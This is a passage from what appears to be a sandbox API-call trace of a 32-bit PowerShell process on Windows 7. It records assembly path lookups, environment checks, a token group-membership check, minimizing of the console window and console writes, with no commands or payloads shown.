lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0057.421] GetLastError () returned 0x2 [0057.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x21e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0057.421] GetLastError () returned 0x2 [0057.423] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.423] GetLastError () returned 0xcb [0057.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e998, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.424] GetLastError () returned 0xcb [0057.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e948, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.424] GetLastError () returned 0xcb [0057.424] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e948, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.424] GetLastError () returned 0xcb [0057.428] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e948, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.428] GetLastError () returned 0xcb [0057.447] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x21e8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0057.447] GetLastError () returned 0x2 [0057.447] SetErrorMode (uMode=0x1) returned 0x1 [0057.447] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x21ed84 | out: lpFileInformation=0x21ed84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0057.448] GetLastError () returned 0x2 [0057.448] SetErrorMode (uMode=0x1) returned 0x1 [0057.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e998, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.508] GetLastError () returned 0x0 [0057.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e948, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.508] GetLastError () returned 0x0 [0057.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e948, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.508] GetLastError () returned 0x0 [0057.510] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.510] GetLastError () returned 0xcb [0057.512] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.512] GetLastError () returned 0xcb [0057.512] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.512] GetLastError () returned 0xcb [0057.513] CoCreateGuid (in: pguid=0x21ee64 | out: pguid=0x21ee64*(Data1=0x99beae9c, Data2=0x8490, Data3=0x4d2a, Data4=([0]=0xa4, [1]=0xb4, [2]=0x95, [3]=0x7a, [4]=0x9f, [5]=0x41, [6]=0x97, [7]=0x17))) returned 0x0 [0057.515] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.515] GetLastError () returned 0xcb [0057.517] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.517] GetLastError () returned 0xcb [0057.518] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.518] GetLastError () returned 0xcb [0057.523] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0057.523] GetLastError () returned 0x0 [0057.524] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x21ed44 | out: lpConsoleScreenBufferInfo=0x21ed44) returned 1 [0057.524] GetLastError () returned 0x0 [0057.528] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0057.528] GetLastError () returned 0x0 [0057.528] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x21ed44 | out: lpConsoleScreenBufferInfo=0x21ed44) returned 1 [0057.528] GetLastError () returned 0x0 [0057.528] GetVersionExW (in: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x621278*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0057.528] GetLastError () returned 0x0 [0057.529] GetCurrentProcess () returned 0xffffffff [0057.529] GetLastError () returned 0x3f0 [0057.530] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x21ed54 | out: TokenHandle=0x21ed54*=0x344) returned 1 [0057.530] GetLastError () returned 0x3f0 [0057.532] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x21edac | out: TokenInformation=0x0, ReturnLength=0x21edac) returned 0 [0057.532] GetLastError () returned 0x7a [0057.533] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5a4b90 [0057.533] GetLastError () returned 0x7a [0057.533] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x5a4b90, TokenInformationLength=0x4, ReturnLength=0x21edac | out: TokenInformation=0x5a4b90, ReturnLength=0x21edac) returned 1 [0057.533] GetLastError () returned 0x7a [0057.534] DuplicateTokenEx (in: hExistingToken=0x344, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x21ed64 | out: phNewToken=0x21ed64*=0x338) returned 1 [0057.534] GetLastError () returned 0x7f [0057.534] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x21edac | out: TokenInformation=0x0, ReturnLength=0x21edac) returned 0 [0057.534] GetLastError () returned 0x7a [0057.534] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x5a4e00 [0057.534] GetLastError () returned 0x7a [0057.534] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x5a4e00, TokenInformationLength=0x4, ReturnLength=0x21edac | out: TokenInformation=0x5a4e00, ReturnLength=0x21edac) returned 1 [0057.534] GetLastError () returned 0x7a [0057.535] CheckTokenMembership (in: TokenHandle=0x338, SidToCheck=0x2d00c88*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x21ed40 | out: IsMember=0x21ed40) returned 1 [0057.535] GetLastError () returned 0x7a [0057.535] CloseHandle (hObject=0x338) returned 1 [0057.535] GetLastError () returned 0x7a [0057.535] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e884, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.535] GetLastError () returned 0x7a [0057.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.536] GetLastError () returned 0x7a [0057.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.536] GetLastError () returned 0x7a [0057.536] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.536] GetLastError () returned 0x7a [0057.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e884, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.544] GetLastError () returned 0x7a [0057.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.544] GetLastError () returned 0x7a [0057.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.544] GetLastError () returned 0x7a [0057.544] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e884, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.544] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e834, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e898, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.545] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e848, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.545] GetLastError () returned 0x7a [0057.551] SetConsoleCtrlHandler (HandlerRoutine=0x2a8384a, Add=1) returned 1 [0057.551] GetLastError () returned 0x7a [0057.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.556] GetLastError () returned 0xcb [0057.557] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.557] GetLastError () returned 0xcb [0057.635] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x621260, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.635] GetLastError () returned 0xcb [0057.658] GetConsoleWindow () returned 0x7009e [0057.659] ShowWindow (hWnd=0x7009e, nCmdShow=6) returned 0 [0057.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e68c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.663] GetLastError () returned 0xcb [0057.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e63c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.663] GetLastError () returned 0xcb [0057.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e63c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.663] GetLastError () returned 0xcb [0057.663] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x21e63c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.663] GetLastError () returned 0xcb [0057.676] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0057.676] GetLastError () returned 0xcb [0057.676] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x21ebe8 | out: lpMode=0x21ebe8) returned 1 [0057.677] GetLastError () returned 0xcb [0057.680] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0057.680] GetLastError () returned 0xcb [0057.680] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x21eb10 | out: lpConsoleScreenBufferInfo=0x21eb10) returned 1 [0057.680] GetLastError () returned 0xcb [0057.683] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0057.683] GetLastError () returned 0xcb [0057.683] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x21eb10 | out: lpConsoleScreenBufferInfo=0x21eb10) returned 1 [0057.683] GetLastError () returned 0xcb [0057.686] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.686] GetLastError () returned 0xcb [0057.686] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x21eb18 | out: lpConsoleScreenBufferInfo=0x21eb18) returned 1 [0057.687] GetLastError () returned 0xcb [0057.687] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0xc) returned 1 [0057.687] GetLastError () returned 0xcb [0057.690] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.693] GetLastError () returned 0xcb [0057.693] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x21eb18 | out: lpConsoleScreenBufferInfo=0x21eb18) returned 1 [0057.693] GetLastError () returned 0xcb [0057.693] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0xc) returned 1 [0057.694] GetLastError () returned 0xcb [0057.694] CloseHandle (hObject=0x1f) returned 1 [0057.694] GetLastError () returned 0xcb [0057.694] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0057.694] GetLastError () returned 0xcb [0057.694] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x21eb80 | out: lpMode=0x21eb80) returned 1 [0057.694] GetLastError () returned 0xcb [0057.695] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0057.695] GetLastError () returned 0xcb [0057.695] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x21eb74 | out: lpMode=0x21eb74) returned 1 [0057.695] GetLastError () returned 0xcb [0057.698] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.698] GetLastError () returned 0xcb [0057.698] GetConsoleMode (in: hConsoleHandle=0x1f, lpMode=0x21eb64 | out: lpMode=0x21eb64) returned 1 [0057.699] GetLastError () returned 0xcb [0057.702] WriteConsoleW (in: hConsoleOutput=0x1f, lpBuffer=0x2d36a14*, nNumberOfCharsToWrite=0x5a, lpNumberOfCharsWritten=0x21eb64, lpReserved=0x0 | out: lpBuffer=0x2d36a14*, lpNumberOfCharsWritten=0x21eb64*=0x5a) returned 1 [0057.712] GetLastError () returned 0xcb [0057.713] CloseHandle (hObject=0x1f) returned 1 [0057.713] GetLastError () returned 0xcb [0057.716] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.718] GetLastError () returned 0xcb [0057.718] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x21eb14 | out: lpConsoleScreenBufferInfo=0x21eb14) returned 1 [0057.718] GetLastError () returned 0xcb [0057.718] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0057.718] GetLastError () returned 0xcb [0057.718] CloseHandle (hObject=0x1f) returned 1 [0057.719] GetLastError () returned 0xcb [0057.722] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.722] GetLastError () returned 0xcb [0057.722] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x21eb14 | out: lpConsoleScreenBufferInfo=0x21eb14) returned 1 [0057.722] GetLastError () returned 0xcb [0057.722] SetConsoleTextAttribute (hConsoleOutput=0x1f, wAttributes=0x7) returned 1 [0057.722] GetLastError () returned 0xcb [0057.722] CloseHandle (hObject=0x1f) returned 1 [0057.723] GetLastError () returned 0xcb [0057.726] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.726] GetLastError () returned 0xcb [0057.726] GetConsoleMode (in: hConsoleHandle=0x1f, lpMode=0x21eba4 | out: lpMode=0x21eba4) returned 1 [0057.726] GetLastError () returned 0xcb [0057.726] WriteConsoleW (in: hConsoleOutput=0x1f, lpBuffer=0x2c89638*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x21eba4, lpReserved=0x0 | out: lpBuffer=0x2c89638*, lpNumberOfCharsWritten=0x21eba4*=0x1) returned 1 [0057.726] GetLastError () returned 0xcb [0057.726] CloseHandle (hObject=0x1f) returned 1 [0057.726] GetLastError () returned 0xcb [0057.729] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0057.730] GetLastError () returned 0xcb [0057.730] GetConsoleMode (in: hConsoleHandle=0x1f, lpMode=0x21ebd0 | out: lpMode=0x21ebd0) returned 1 [0057.730] GetLastError () returned 0xcb [0057.730] WriteConsoleW (in: hConsoleOutput=0x1f, lpBuffer=0x2d36b3c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x21ebd0, lpReserved=0x0 | out: lpBuffer=0x2d36b3c*, lpNumberOfCharsWritten=0x21ebd0*=0x2) returned 1 [0057.730] GetLastError () returned 0xcb [0057.730] CloseHandle (hObject=0x1f) returned 1 [0057.730] GetLastError () returned 0xcb [0057.733] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 